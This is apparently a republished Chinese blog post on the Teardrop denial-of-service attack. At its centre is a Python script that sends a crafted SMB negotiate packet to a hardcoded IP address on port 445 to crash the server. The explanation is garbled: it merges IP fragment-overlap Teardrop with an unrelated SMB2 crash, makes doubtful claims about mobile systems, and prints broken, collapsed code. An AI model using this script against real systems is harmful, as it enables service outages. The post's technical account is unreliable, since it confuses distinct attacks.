博客
关于我
(四)拒绝服务–TearDrop 攻击
阅读量:441 次
发布时间:2019-03-06

本文共 1811 字,大约阅读时间需要 6 分钟。

泪滴攻击是一种针对早期微软操作系统(如Windows 95、98、3.x、NT)以及部分现代移动系统(如2.x版安卓、6.0版iOS)的拒绝服务(DoS)攻击方法。攻击的核心原理在于利用IP分段偏移量字段,将数据包的不同片段发送至目标机器,导致目标系统因无法正确重组数据包而崩溃。

泪滴攻击的主要影响体现在以下几个方面:首先,攻击者通过构造异常的IP分段偏移量,使得接收端无法正确重组数据包;其次,当目标系统尝试重组这些数据包时,由于片段偏移量与实际数据包大小不匹配,会导致数据包重叠 ultimately导致网络设备崩溃。这种攻击通常对运行早期Windows系统的设备特别有效,但也有报道显示其对某些现代安卓和iOS系统(如2.x版本)也具有攻击效果。

在技术实现方面,泪滴攻击往往利用SMB协议的脆弱性。攻击者会伪造具有特定格式的SMB数据包,并发送至目标机器。由于早期操作系统在处理SMB协议时存在的脆弱性,伪造的数据包会引发严重的系统故障,例如蓝屏、系统重启或设备卡顿。

以下是典型的泪滴攻击脚本示例(teardrop_smb.py):

#!/usr/bin/python# 当SMB2.0接收到“&”字符时,会导致服务器进程在非页面内存区域触发页面缺页异常# 伪造的SMB数据包会触发页面缺页异常,导致服务器崩溃# 以下是一个典型的泪滴攻击脚本示例import sysfrom socket import socketfrom time import sleephost = "217.113.205.53"port = 445buffer = b(    b"\x00\x00\x00\x90",                  # SMB开头    b"\xff\x53\x4d\x42",                  # 伪造的SMB协议组件    b"\x72\x00\x00\x00",                 # 协商协议    b"\x00\x18\x53\xc8",                 # 运算码与子操作码    b"\x00\x26",                         # 进程ID高位    b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe",    b"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54",    b"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31",    b"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00",    b"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57",    b"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61",    b"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c",    b"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c",    b"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e",    b"\x30\x30\x32\x00")s = socket()s.connect((host, port))s.send(buffer)s.close()

攻击向量的分析

泪滴攻击的攻击向量主要依赖于目标系统对IP分段偏移量字段的处理能力。攻击者会精心构造数据包,使得接收端的系统无法正确处理分段数据,进而导致系统崩溃。这种攻击方式的成功与否,往往取决于目标系统的操作系统版本和网络配置。

总结

泪滴攻击是一种高效的拒绝服务攻击方式,尤其适用于早期微软操作系统。尽管现代系统对这一攻击方式有所防范,但对于历史遗留系统仍具有威胁性。攻击者通过构造异常的IP分段偏移量数据包,能够有效地迫使目标设备崩溃。

转载地址:http://vkhyz.baihongyu.com/

你可能感兴趣的文章
Objective-C实现n body simulationn体模拟算法(附完整源码)
查看>>
Objective-C实现naive string search字符串搜索算法(附完整源码)
查看>>
Objective-C实现natural sort自然排序算法(附完整源码)
查看>>
Objective-C实现nested brackets嵌套括号算法(附完整源码)
查看>>
Objective-C实现nevilles method多项式插值算法(附完整源码)
查看>>
Objective-C实现newtons second law of motion牛顿第二运动定律算法(附完整源码)
查看>>
Objective-C实现newton_raphson牛顿拉夫森算法(附完整源码)
查看>>
Objective-C实现NLP中文分词(附完整源码)
查看>>
Objective-C实现NLP中文分词(附完整源码)
查看>>
Objective-C实现not gate非门算法(附完整源码)
查看>>
Objective-C实现NumberOfIslands岛屿的个数算法(附完整源码)
查看>>
Objective-C实现n皇后问题算法(附完整源码)
查看>>
Objective-C实现OCR文字识别(附完整源码)
查看>>
Objective-C实现odd even sort奇偶排序算法(附完整源码)
查看>>
Objective-C实现page rank算法(附完整源码)
查看>>
Objective-C实现PageRank算法(附完整源码)
查看>>
Objective-C实现pascalTriangle帕斯卡三角形算法(附完整源码)
查看>>
Objective-C实现perfect cube完全立方数算法(附完整源码)
查看>>
Objective-C实现PNG图片格式转换BMP图片格式(附完整源码)
查看>>
Objective-C实现pollard rho大数分解算法(附完整源码)
查看>>